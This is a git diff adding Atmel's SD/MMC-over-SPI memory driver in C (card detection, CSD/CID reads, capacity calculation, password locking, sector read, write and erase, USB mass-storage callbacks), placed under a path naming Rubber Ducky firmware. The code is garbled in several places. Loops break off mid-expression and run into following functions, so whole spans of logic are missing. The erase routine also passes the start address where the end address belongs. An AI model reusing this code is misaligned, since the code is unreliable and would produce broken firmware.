SD_FAILURE +//! true +//! SD_MMC + + +int sd_mmc_spi_get_if(void) +{ + // wait for MMC not busy + if (false == sd_mmc_spi_wait_not_busy()) + return SD_FAILURE; + + spi_selectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // select SD_MMC_SPI + r1 = sd_mmc_spi_command(MMC_SEND_IF_COND, 0x000001AA); + // check for valid response + if((r1 & MMC_R1_ILLEGAL_COM) != 0) { + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // unselect SD_MMC_SPI + return SD_MMC; + } + r1 = sd_mmc_spi_send_and_read(0xFF); + r1 = sd_mmc_spi_send_and_read(0xFF); + r1 = sd_mmc_spi_send_and_read(0xFF); + if((r1 & 0x01) == 0) { + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // unselect SD_MMC_SPI + return SD_FAILURE; + } + r1 = sd_mmc_spi_send_and_read(0xFF); + if(r1 != 0xaa) { + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // unselect SD_MMC_SPI + return SD_FAILURE; /* wrong test pattern */ + } + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // unselect SD_MMC_SPI + return true; +} +//! +//! @brief This function checks whether detected card is High Capacity SD card. +//! +//! +//! @return bit +//! SDHC_CARD Detected card is SDHC +//! SD_CARD Detected card is SD +//! ERROR + + +int sd_mmc_spi_check_hc(void) +{ + unsigned char hc_bit; + // wait for MMC not busy + if (false == sd_mmc_spi_wait_not_busy()) + return SD_FAILURE; + + spi_selectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // select SD_MMC_SPI + r1 = sd_mmc_spi_command(SD_READ_OCR, 0); + // check for valid response + if(r1 != 0) { + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // unselect SD_MMC_SPI + return SD_FAILURE; + } + hc_bit = sd_mmc_spi_send_and_read(0xFF); + r1 = sd_mmc_spi_send_and_read(0xFF); + r1 = sd_mmc_spi_send_and_read(0xFF); + r1 = sd_mmc_spi_send_and_read(0xFF); + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // unselect SD_MMC_SPI + if(hc_bit & 0x40) { + return SDHC_CARD; + } + return 0; +} + +//! +//! @brief This function reads the CSD (Card Specific Data) of the memory card +//! +//! @param buffer to fill +//! +//! @return bit +//! true / false +bool sd_mmc_spi_get_csd(uint8_t *buffer) +{ +uint8_t retry; +unsigned short data_read; + // wait for MMC not busy + if (false == sd_mmc_spi_wait_not_busy()) + return false; + + spi_selectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // select SD_MMC_SPI + // issue command + r1 = sd_mmc_spi_command(MMC_SEND_CSD, 0); + // check for valid response + if(r1 != 0x00) + { + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // unselect SD_MMC_SPI + sd_mmc_spi_init_done = false; + return false; + } + // wait for block start + retry = 0; + while((r1 = sd_mmc_spi_send_and_read(0xFF)) != MMC_STARTBLOCK_READ) + { + if (retry > 8) + { + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // unselect SD_MMC_SPI + return false; + } + retry++; + } + // store valid data block + for (retry = 0; retry <16; retry++) + { + spi_write(SD_MMC_SPI,0xFF); + spi_read(SD_MMC_SPI,&data_read); + buffer[retry] = data_read; + } + spi_write(SD_MMC_SPI,0xFF); // load CRC (not used) + spi_write(SD_MMC_SPI,0xFF); + spi_write(SD_MMC_SPI,0xFF); // give clock again to end transaction + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // unselect SD_MMC_SPI + return true; +} + + +//! +//! @brief This function reads the CID (Card Identification Data) of the memory card +//! +//! @param buffer to fill +//! +//! @return bit +//! true / false +bool sd_mmc_spi_get_cid(uint8_t *buffer) +{ +uint8_t retry; +unsigned short data_read; + // wait for MMC not busy + if (false == sd_mmc_spi_wait_not_busy()) + return false; + + spi_selectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // select SD_MMC_SPI + // issue command + r1 = sd_mmc_spi_command(MMC_SEND_CID, 0); + // check for valid response + if(r1 != 0x00) + { + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // unselect SD_MMC_SPI + sd_mmc_spi_init_done = false; + return false; + } + // wait for data block start + retry = 0; + while((r2 = sd_mmc_spi_send_and_read(0xFF)) != MMC_STARTBLOCK_READ) + { + if (retry > 8) + { + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // unselect SD_MMC_SPI + return false; + } + retry++; + } + // store valid data block + for (retry = 0; retry <16; retry++) + { + spi_write(SD_MMC_SPI,0xFF); + spi_read(SD_MMC_SPI,&data_read); + buffer[retry] = data_read; + } + spi_write(SD_MMC_SPI,0xFF); // load CRC (not used) + spi_write(SD_MMC_SPI,0xFF); + spi_write(SD_MMC_SPI,0xFF); // give clock again to end transaction + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // unselect SD_MMC_SPI + return true; +} + + + +//! +//! @brief This function extracts structure information from CSD array +//! and compute the number of blocks of the memory card (stored in global uint32_t sd_mmc_spi_last_block_address), +//! its capacity in bytes (stored in global uint32_t capacity) +//! and the block group size for an erase operation +//! Here is defined the position of required fields in CSD array : +//! READ_BL_LEN : +//! [83:80] == data[5] && 0x0f +//! C_SIZE : +//! [73:72] == data[6] && 0x03 +//! [71:64] == data[7] +//! [63:62] == data[8] && 0xc0 +//! C_SIZE_MULT : +//! [49:48] == data[9] && 0x03 +//! [47] == data[10] && 0x80 +//! ERASE_GRP_SIZE (MMC card only) : +//! [46:42] == data[10] && 0x7c +//! ERASE_GRP_MULT (MMC card only) : +//! [41:40] == data[10] && 0x03 +//! [39:37] == data[11] && 0xe0 +//! SECTOR_SIZE (SD card only) : +//! [45:40] == data[10] && 0x3F +//! [39] == data[11] && 0x80 +//! +//! @return bit +//! true +void sd_mmc_spi_get_capacity(void) +{ + uint32_t c_size; + uint8_t c_size_mult; + uint8_t read_bl_len; + uint8_t erase_grp_size; + uint8_t erase_grp_mult; + + // extract variables from CSD array + read_bl_len = csd[5] & 0x0F; + if (card_type == SD_CARD_2_SDHC) { + c_size = ((csd[7] & 0x3F) << 16) | (csd[8] << 8) | csd[9]; + ++c_size; + capacity = (uint64_t)c_size << 19; + capacity_mult = (c_size >> 13) & 0x01FF; + sd_mmc_spi_last_block_address = (capacity >> 9) + (capacity_mult << 23) - 1; + } else { + c_size = ((csd[6] & 0x03) << 10) + (csd[7] << 2) + ((csd[8] & 0xC0) >> 6); + c_size_mult = ((csd[9] & 0x03) << 1) + ((csd[10] & 0x80) >> 7); + sd_mmc_spi_last_block_address = ((uint32_t)(c_size + 1) * (uint32_t)((1 << (c_size_mult + 2)))) - 1; + capacity = (1 << read_bl_len) * (sd_mmc_spi_last_block_address + 1); + capacity_mult = 0; + if (read_bl_len > 9) { // 9 means 2^9 = 512b + sd_mmc_spi_last_block_address <<= (read_bl_len - 9); + } + } + if (card_type == MMC_CARD) + { + erase_grp_size = ((csd[10] & 0x7C) >> 2); + erase_grp_mult = ((csd[10] & 0x03) << 3) | ((csd[11] & 0xE0) >> 5); + } + else + { + erase_grp_size = ((csd[10] & 0x3F) << 1) + ((csd[11] & 0x80) >> 7); + erase_grp_mult = 0; + } + erase_group_size = (erase_grp_size + 1) * (erase_grp_mult + 1); +} + + + +//! +//! @brief This function reads the STATUS regsiter of the memory card +//! After a read the error flags are automatically cleared +//! +//! @return bit +//! The open succeeded -> true +bool sd_mmc_spi_get_status(void) +{ + uint8_t retry, spireg; + + // wait for MMC not busy + if (false == sd_mmc_spi_wait_not_busy()) + return false; + + spi_selectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // select SD_MMC_SPI + + // send command + spi_write(SD_MMC_SPI,MMC_SEND_STATUS | 0x40); // send command + spi_write(SD_MMC_SPI,0); // send parameter + spi_write(SD_MMC_SPI,0); + spi_write(SD_MMC_SPI,0); + spi_write(SD_MMC_SPI,0); + spi_write(SD_MMC_SPI,0x95); // correct CRC for first command in SPI (CMD0) + // after, the CRC is ignored + // end command + // wait for response + // if more than 8 retries, card has timed-out and return the received 0xFF + retry = 0; + r2 = 0xFFFF; + spireg = 0xFF; + while((spireg = sd_mmc_spi_send_and_read(0xFF)) == 0xFF) + { + retry++; + if(retry > 10) + { + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); + return false; + } + } + r2 = ((uint16_t)(spireg) << 8) + sd_mmc_spi_send_and_read(0xFF); // first byte is MSb + + spi_write(SD_MMC_SPI,0xFF); // give clock again to end transaction + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // unselect SD_MMC_SPI + + return true; +} + + +//! +//! @brief This function waits until the SD/MMC is not busy. +//! +//! @return bit +//! true when card is not busy +bool sd_mmc_spi_wait_not_busy(void) +{ + uint32_t retry; + + // Select the SD_MMC memory gl_ptr_mem points to + spi_selectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); + retry = 0; + while((r1 = sd_mmc_spi_send_and_read(0xFF)) != 0xFF) + { + retry++; + if (retry == 200000) + { + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); + return false; + } + } + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); + return true; +} + + + +//! +//! @brief This function check the presence of a memory card +//! - if the card was already initialized (removal test), the host send a CRC_OFF command (CMD59) and check the answer +//! - if the card was not already initialized (insertion test), the host send a CMD0 reset command and check the answer +//! +//! @return bit +//! The memory is present (true) +//! The memory does not respond (disconnected) (false) +bool sd_mmc_spi_check_presence(void) +{ + uint16_t retry; + + retry = 0; + if (sd_mmc_spi_init_done == false) + { + // If memory is not initialized, try to initialize it (CMD0) + // If no valid response, there is no card + while ((r1 = sd_mmc_spi_send_command(MMC_GO_IDLE_STATE, 0)) != 0x01) + { + spi_write(SD_MMC_SPI,0xFF); // write dummy byte + retry++; + if (retry > 10) + return false; + } + return true; + } + else + { + // If memory already initialized, send a CRC command (CMD59) (supported only if card is initialized) + if ((r1 = sd_mmc_spi_send_command(MMC_CRC_ON_OFF, 0)) == 0x00) + return true; + sd_mmc_spi_init_done = false; + return false; + } +} + + +//! +//! @brief This function performs a memory check on the SD_MMC. +//! +//! +//! @return bit +//! The memory is ready -> true +//! The memory check failed -> false +bool sd_mmc_spi_mem_check(void) +{ + if (sd_mmc_spi_check_presence()) + { + if (sd_mmc_spi_init_done == false) + { + return sd_mmc_spi_internal_init(); + } + else + return true; + } + return false; +} + + + +//! +//! @brief This function checks if the card is password-locked +//! Old versions of MMC card don't support this feature ! +//! For a MMC, "lock protection" is featured from v2.1 release ! +//! => see CSD[0]<5:2> bits to know the version : 0x0=1.x, 0x1=1.4, 0x2=2.x, 0x3=3.x, 0x4=4.0 +//! +//! @return bit +//! Password protected -> true +//! NOT password protected -> false (or card not initialized) +bool is_sd_mmc_spi_write_pwd_locked(void) +{ + if (card_type == MMC_CARD) + { + if (((csd[0] >> 2) & 0x0F) < 2) // lock feature is not present on the card since the MMC is v1.x released ! + return false; + } + if (false == sd_mmc_spi_get_status()) // get STATUS response + return false; + if ((r2&0x0001) != 0) // check "card is locked" flag in R2 response + return true; + + return false; +} + + +//! +//! @brief This function manages locking operations for the SD/MMC card (password protection) +//! - Once the card is locked, the only commands allowed are UNLOCK and FORCED_ERASE +//! - Once the card is unlocked, the commands allowed are all the others +//! - Before setting a new password (SET_PWD), the current one must be cleared (RESET_PWD) +//! - If card contains a password (PWDSLEN != 0), the card will automatically be locked at start-up +//! +//! /!\ Take care that old versions of MMC cards don't support this feature ! +//! For a MMC, "lock protection" is featured only from v2.1 release ! +//! => see CSD[0]<5:2> bits to know the version : 0x0=1.x, 0x1=1.4, 0x2=2.x, 0x3=3.x, 0x4=4.0 +//! Moreover the OP_FORCED_ERASE command can also have no effect on some cards ! +//! +//! @param operation +//! OP_LOCK -> to lock the card (the current pasword must be specified) +//! OP_UNLOCK -> to unlock the card (the current password must be specified) +//! OP_RESET_PWD -> to clear the current password (the current password must be specified) +//! OP_SET_PWD -> to set a new password to the card (the old password must have been cleared first) +//! OP_FORCED_ERASE -> to erase completely the card and the password (no password needed) +//! @param pwd_lg +//! Password length +//! @param pwd +//! Pointer on the password (char array) to send +//! +//! @return bit +//! Operation succeeded -> true +//! Operation failed -> false +bool sd_mmc_spi_lock_operation(uint8_t operation, uint8_t pwd_lg, uint8_t * pwd) +{ + bool status = true; + uint8_t retry; + + // check parameters validity + if ((operation != OP_FORCED_ERASE) && (pwd_lg == 0)) // password length must be > 0 + return false; + + // wait card not busy + if (sd_mmc_spi_wait_not_busy() == false) + return false; + + // set block length + if (operation == OP_FORCED_ERASE) + r1 = sd_mmc_spi_send_command(MMC_SET_BLOCKLEN, 1); // CMD + else + r1 = sd_mmc_spi_send_command(MMC_SET_BLOCKLEN, pwd_lg+2); // CMD + PWDSLEN + PWD + spi_write(SD_MMC_SPI,0xFF); // write dummy byte + spi_write(SD_MMC_SPI,0xFF); // write dummy byte + spi_write(SD_MMC_SPI,0xFF); // write dummy byte + if (r1 != 0x00) + return false; + + // send the lock command to the card + spi_selectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // select SD_MMC_SPI + + // issue command + r1 = sd_mmc_spi_command(MMC_LOCK_UNLOCK, 0); + + // check for valid response + if(r1 != 0x00) + { + status = false; + } + // send dummy + spi_write(SD_MMC_SPI,0xFF); // give clock again to end transaction + + // send data start token + spi_write(SD_MMC_SPI,MMC_STARTBLOCK_WRITE); + // write data + spi_write(SD_MMC_SPI,operation); + if (operation != OP_FORCED_ERASE) + { + spi_write(SD_MMC_SPI,pwd_lg); + for(retry=0 ; retry true +bool sd_mmc_spi_read_open (uint32_t pos) +{ + // Set the global memory ptr at a Byte address. + gl_ptr_mem = pos << 9; // gl_ptr_mem = pos * 512 + + // wait for MMC not busy + return sd_mmc_spi_wait_not_busy(); +} + + +//! +//! @brief This function unselects the current SD_MMC memory. +//! +bool sd_mmc_spi_read_close (void) +{ + if (false == sd_mmc_spi_wait_not_busy()) + return false; + return true; +} + + +//! +//! @brief This function opens a SD_MMC memory in write mode at a given sector +//! address. +//! +//! NOTE: If page buffer > 512 bytes, page content is first loaded in buffer to +//! be partially updated by write_byte or write64 functions. +//! +//! @param pos Sector address +//! +//! @return bit +//! The open succeeded -> true +bool sd_mmc_spi_write_open (uint32_t pos) +{ + // Set the global memory ptr at a Byte address. + gl_ptr_mem = pos << 9; // gl_ptr_mem = pos * 512 + + // wait for MMC not busy + return sd_mmc_spi_wait_not_busy(); +} + + +//! +//! @brief This function fills the end of the logical sector (512B) and launch +//! page programming. +//! +void sd_mmc_spi_write_close (void) +{ + +} + +//! +//! @brief This function allow to read multiple sectors +//! +//! @param nb_sector the number of sector to read +//! @return bit +//! The read succeeded -> true +bool sd_mmc_spi_read_multiple_sector(uint16_t nb_sector) +{ + while (nb_sector--) + { + // Read the next sector + sd_mmc_spi_read_sector_to_ram(sector_buf); + sd_mmc_spi_read_multiple_sector_callback(sector_buf); + } + + return true; +} + +//! +//! @brief This function allow to write multiple sectors +//! +//! @param nb_sector the number of sector to write +//! @return bit +//! The write succeeded -> true +bool sd_mmc_spi_write_multiple_sector(uint16_t nb_sector) +{ + while (nb_sector--) + { + // Write the next sector + sd_mmc_spi_write_multiple_sector_callback(sector_buf); + sd_mmc_spi_write_sector_from_ram(sector_buf); + } + + return true; +} + +//! @brief This function erase a group of sectors +//! NOTE : Erasing operation concerns only groups of sectors and not one sector only +//! The global variable "erase_group_size" (extracted from CSD) contains the sector group size boundary +//! User specifies the addresses of the first group and the last group to erase (several contiguous groups can be selected for erase) +//! An misaligned address will not generate an error since the memory card ignore the LSbs of the address +//! Some examples (with "erase_group_size" = 0x20 = group boundary) : +//! - adr_start=0x100 and adr_end=0x100, all the sectors from 0x100 up to 0x11F will be erased +//! - adr_start=0x90 and adr_end=0x100, all the sectors from 0x80 up to 0x11F will be erased (0x90 interpreted as 0x80) +//! - adr_start=0x80 and adr_end=0x146, all the sectors from 0x80 up to 0x15F will be erased +//! This function just initiates a transmission, user may get status register to check that operation has succeeded +//! After an erase, a MMC card contains bits at 0, and SD can contains bits 0 or 1 (according to field DATA_STAT_AFTER_ERASE in the CSD) +//! +//! @param adr_start address of 1st group (sector address, not byte address) +//! @param adr_end address of last group (sector address, not byte address) +//! +//! @return bit +//! The erase operation succeeded (has been started) -> true +//! The erase operation failed (not started) -> false +bool sd_mmc_spi_erase_sector_group(uint32_t adr_start, uint32_t adr_end) +{ + uint8_t cmd; + + // wait for MMC not busy + if (false == sd_mmc_spi_wait_not_busy()) + return false; + + spi_selectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // select SD_MMC_SPI + + // send address of 1st group + if (card_type == MMC_CARD) + { cmd = MMC_TAG_ERASE_GROUP_START; } + else + { cmd = SD_TAG_WR_ERASE_GROUP_START; } + + if(card_type == SD_CARD_2_SDHC) { + r1 = sd_mmc_spi_command(cmd,adr_start); + } else { + r1 = sd_mmc_spi_command(cmd,(adr_start << 9)); + } + + if (r1 != 0) + { + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); + return false; + } + spi_write(SD_MMC_SPI,0xFF); + + // send address of last group + if (card_type == MMC_CARD) + { cmd = MMC_TAG_ERASE_GROUP_END; } + else + { cmd = SD_TAG_WR_ERASE_GROUP_END; } + + if(card_type == SD_CARD_2_SDHC) { + r1 = sd_mmc_spi_command(cmd,adr_start); + } else { + r1 = sd_mmc_spi_command(cmd,(adr_start << 9)); + } + + if (r1 != 0) + { + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); + return false; + } + spi_write(SD_MMC_SPI,0xFF); + + // send erase command + if ((r1 = sd_mmc_spi_command(MMC_ERASE,0)) != 0) + { + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); + return false; + } + spi_write(SD_MMC_SPI,0xFF); + + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); + + return true; +} + + +//! Stop PDCA transfer +//! @brief This function closes a PDCA read transfer +//! page programming. +//! +void sd_mmc_spi_read_close_PDCA (void) +{ + + // load 16-bit CRC (ignored) + spi_write(SD_MMC_SPI,0xFF); + spi_write(SD_MMC_SPI,0xFF); + + // continue delivering some clock cycles + spi_write(SD_MMC_SPI,0xFF); + spi_write(SD_MMC_SPI,0xFF); + + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // unselect SD_MMC_SPI + +} + + + +//! Reading using PDCA +//! @brief This function opens a SD_MMC memory in read mode at a given sector +//! address. +//! +//! NOTE: If page buffer > 512 bytes, page content is first loaded in buffer to +//! be partially updated by write_byte or write64 functions. +//! +//! @param pos Sector address +//! +//! @return bit +//! The open succeeded -> true +//!/ +bool sd_mmc_spi_read_open_PDCA (uint32_t pos) +{ + uint16_t read_time_out; + + // Set the global memory ptr at a Byte address. + gl_ptr_mem = pos << 9; // gl_ptr_mem = pos * 512 + + // wait for MMC not busy + if (false == sd_mmc_spi_wait_not_busy()) + return false; + + + spi_selectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // select SD_MMC_SPI + + // issue command + if(card_type == SD_CARD_2_SDHC) { + r1 = sd_mmc_spi_command(MMC_READ_SINGLE_BLOCK, gl_ptr_mem>>9); + } else { + r1 = sd_mmc_spi_command(MMC_READ_SINGLE_BLOCK, gl_ptr_mem); + } + + // check for valid response + if (r1 != 0x00) + { + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // unselect SD_MMC_SPI + return false; + } + + // wait for token (may be a datablock start token OR a data error token !) + read_time_out = 30000; + while((r1 = sd_mmc_spi_send_and_read(0xFF)) == 0xFF) + { + read_time_out--; + if (read_time_out == 0) // TIME-OUT + { + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // unselect SD_MMC_SPI + return false; + } + } + + // check token + if (r1 != MMC_STARTBLOCK_READ) + { + spi_write(SD_MMC_SPI,0xFF); + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // unselect SD_MMC_SPI + return false; + } + return true; // Read done. +} + + +//! @brief This function read one MMC sector and load it into a ram buffer +//! +//! DATA FLOW is: SD/MMC => RAM +//! +//! +//! NOTE: +//! - First call (if sequential read) must be preceded by a call to the sd_mmc_spi_read_open() function +//! +//! @param ram pointer to ram buffer +//! +//! @return bit +//! The read succeeded -> true +//! The read failed (bad address, etc.) -> false +//!/ +bool sd_mmc_spi_read_sector_to_ram(void *ram) +{ + uint8_t *_ram = ram; + uint16_t i; + uint16_t read_time_out; + unsigned short data_read; + // wait for MMC not busy + if (false == sd_mmc_spi_wait_not_busy()) + return false; + + spi_selectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // select SD_MMC_SPI + + // issue command + if(card_type == SD_CARD_2_SDHC) { + r1 = sd_mmc_spi_command(MMC_READ_SINGLE_BLOCK, gl_ptr_mem>>9); + } else { + r1 = sd_mmc_spi_command(MMC_READ_SINGLE_BLOCK, gl_ptr_mem); + } + + // check for valid response + if (r1 != 0x00) + { + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // unselect SD_MMC_SPI + return false; + } + + // wait for token (may be a datablock start token OR a data error token !) + read_time_out = 30000; + while((r1 = sd_mmc_spi_send_and_read(0xFF)) == 0xFF) + { + read_time_out--; + if (read_time_out == 0) // TIME-OUT + { + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // unselect SD_MMC_SPI + return false; + } + } + + // check token + if (r1 != MMC_STARTBLOCK_READ) + { + spi_write(SD_MMC_SPI,0xFF); + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // unselect SD_MMC_SPI + return false; + } + + // store datablock + for(i=0;i SD/MMC +//! +//! +//! NOTE (please read) : +//! - First call (if sequential write) must be preceded by a call to the sd_mmc_spi_write_open() function +//! - An address error will not detected here, but with the call of sd_mmc_spi_get_status() function +//! - The program exits the functions with the memory card busy ! +//! +//! @param ram pointer to ram buffer +//! +//! @return bit +//! The write succeeded -> true +//! The write failed -> false +//! +bool sd_mmc_spi_write_sector_from_ram(const void *ram) +{ + const uint8_t *_ram = ram; + uint16_t i; + + // wait for MMC not busy + if (false == sd_mmc_spi_wait_not_busy()) + return false; + + spi_selectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // select SD_MMC_SPI + + // issue command + if(card_type == SD_CARD_2_SDHC) { + r1 = sd_mmc_spi_command(MMC_WRITE_BLOCK, gl_ptr_mem>>9); + } else { + r1 = sd_mmc_spi_command(MMC_WRITE_BLOCK, gl_ptr_mem); + } + + // check for valid response + if(r1 != 0x00) + { + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); + return false; + } + // send dummy + spi_write(SD_MMC_SPI,0xFF); // give clock again to end transaction + + // send data start token + spi_write(SD_MMC_SPI,MMC_STARTBLOCK_WRITE); + // write data + for(i=0;i the memory is not write-protected (always) +//!/ +bool sd_mmc_spi_wr_protect(void) +{ + return false; +} + + +//! +//! @brief This function tells if the memory has been removed or not. +//! +//! @return false -> The memory isn't removed +//!/ +bool sd_mmc_spi_removal(void) +{ + return false; +// return ((sd_mmc_spi_check_presence()) ? false : true); +} + + + +//------------ STANDARD FUNCTIONS to read/write the memory -------------------- + +#if ACCESS_USB == true + +#include "conf_usb.h" +#ifdef USB_DEVICE_VENDOR_ID + // USB Device Stack V2 +#include "udi_msc.h" +#else + // USB Device Stack V1 +#include "usb_drv.h" +#include "scsi_decoder.h" +#endif + +Ctrl_status sd_mmc_spi_usb_read_10(uint32_t addr, uint16_t nb_sector) +{ + if (!sd_mmc_spi_init_done) + { + sd_mmc_spi_mem_init(); + } + + if (!sd_mmc_spi_init_done) + return CTRL_NO_PRESENT; + + Sd_mmc_spi_access_signal_on(); + + if( !sd_mmc_spi_read_open(addr) ) + goto sd_mmc_spi_usb_read_10_fail; + + if( !sd_mmc_spi_read_multiple_sector(nb_sector) ) + goto sd_mmc_spi_usb_read_10_fail; + + if( !sd_mmc_spi_read_close() ) + goto sd_mmc_spi_usb_read_10_fail; + + Sd_mmc_spi_access_signal_off(); + return CTRL_GOOD; + +sd_mmc_spi_usb_read_10_fail: + Sd_mmc_spi_access_signal_off(); + return CTRL_FAIL; +} + + +void sd_mmc_spi_read_multiple_sector_callback(const void *psector) +{ +#ifdef USB_DEVICE_VENDOR_ID + // USB Device Stack V2 + udi_msc_trans_block( true, (uint8_t*)psector, MMC_SECTOR_SIZE, NULL); +#else + // USB Device Stack V1 + uint16_t data_to_transfer = MMC_SECTOR_SIZE; + + while (data_to_transfer) + { + while (!Is_usb_in_ready(g_scsi_ep_ms_in)); + + Usb_reset_endpoint_fifo_access(g_scsi_ep_ms_in); + data_to_transfer = usb_write_ep_txpacket(g_scsi_ep_ms_in, psector, + data_to_transfer, &psector); + Usb_ack_in_ready_send(g_scsi_ep_ms_in); + } +#endif +} + + + +Ctrl_status sd_mmc_spi_usb_write_10(uint32_t addr, uint16_t nb_sector) +{ + bool status; + + if (!sd_mmc_spi_init_done) + { + sd_mmc_spi_mem_init(); + } + + if (sd_mmc_spi_init_done) + { + Sd_mmc_spi_access_signal_on(); + sd_mmc_spi_write_open(addr); + status = sd_mmc_spi_write_multiple_sector(nb_sector); + sd_mmc_spi_write_close(); + Sd_mmc_spi_access_signal_off(); + if (status) + return CTRL_GOOD; + else + return CTRL_NO_PRESENT; + } + else + return CTRL_NO_PRESENT; +} + + +void sd_mmc_spi_write_multiple_sector_callback(void *psector) +{ +#ifdef USB_DEVICE_VENDOR_ID + // USB Device Stack V2 + udi_msc_trans_block( false, (uint8_t*)psector, MMC_SECTOR_SIZE, NULL); +#else + // USB Device Stack V1 + uint16_t data_to_transfer = MMC_SECTOR_SIZE; + + while (data_to_transfer) + { + while (!Is_usb_out_received(g_scsi_ep_ms_out)); + + Usb_reset_endpoint_fifo_access(g_scsi_ep_ms_out); + data_to_transfer = usb_read_ep_rxpacket(g_scsi_ep_ms_out, psector, + data_to_transfer, &psector); + Usb_ack_out_received_free(g_scsi_ep_ms_out); + } +#endif +} + +#endif // ACCESS_USB == true + + +//------------ Standard functions for read/write 1 sector to 1 sector ram buffer ----------------- + +#if ACCESS_MEM_TO_RAM == true + +Ctrl_status sd_mmc_spi_mem_2_ram(uint32_t addr, void *ram) +{ + Sd_mmc_spi_access_signal_on(); + sd_mmc_spi_check_presence(); + + if (!sd_mmc_spi_init_done) + { + sd_mmc_spi_mem_init(); + } + + if (!sd_mmc_spi_init_done) + return CTRL_NO_PRESENT; + + if( !sd_mmc_spi_read_open(addr) ) + goto sd_mmc_spi_mem_2_ram_fail; + + if( !sd_mmc_spi_read_sector_to_ram(ram)) + goto sd_mmc_spi_mem_2_ram_fail; + + if( !sd_mmc_spi_read_close() ) + goto sd_mmc_spi_mem_2_ram_fail; + + Sd_mmc_spi_access_signal_off(); + return CTRL_GOOD; + +sd_mmc_spi_mem_2_ram_fail: + Sd_mmc_spi_access_signal_off(); + return CTRL_FAIL; +} + + +//! This fonction initialises the memory for a write operation +//! from ram buffer to SD/MMC (1 sector) +//! +//! DATA FLOW is: RAM => SD/MMC +//! +//! (sector = 512B) +//! @param addr Sector address to write +//! @param ram Ram buffer pointer +//! +//! @return Ctrl_status +//! It is ready -> CTRL_GOOD +//! An error occurs -> CTRL_FAIL +//! +Ctrl_status sd_mmc_spi_ram_2_mem(uint32_t addr, const void *ram) +{ + Sd_mmc_spi_access_signal_on(); + sd_mmc_spi_check_presence(); + + if (!sd_mmc_spi_init_done) + { + sd_mmc_spi_mem_init(); + } + + if (sd_mmc_spi_init_done) + { + sd_mmc_spi_write_open(addr); + if (!sd_mmc_spi_write_sector_from_ram(ram)) + { + sd_mmc_spi_write_close(); + Sd_mmc_spi_access_signal_off(); + return CTRL_NO_PRESENT; + } + sd_mmc_spi_write_close(); + Sd_mmc_spi_access_signal_off(); + return CTRL_GOOD; + } + Sd_mmc_spi_access_signal_off(); + + return CTRL_NO_PRESENT; +} + + +#endif // ACCESS_MEM_TO_RAM == true + + +#endif // SD_MMC_SPI_MEM == ENABLE diff --git a/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi/sd_mmc_spi_mem.h b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi/sd_mmc_spi_mem.h new file mode 100755 index 0000000..4ef70c5 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi/sd_mmc_spi_mem.h @@ -0,0 +1,195 @@ +/***************************************************************************** + * + * \file + * + * \brief CTRL_ACCESS interface for SD/MMC card. + * + * Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * \asf_license_start + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * 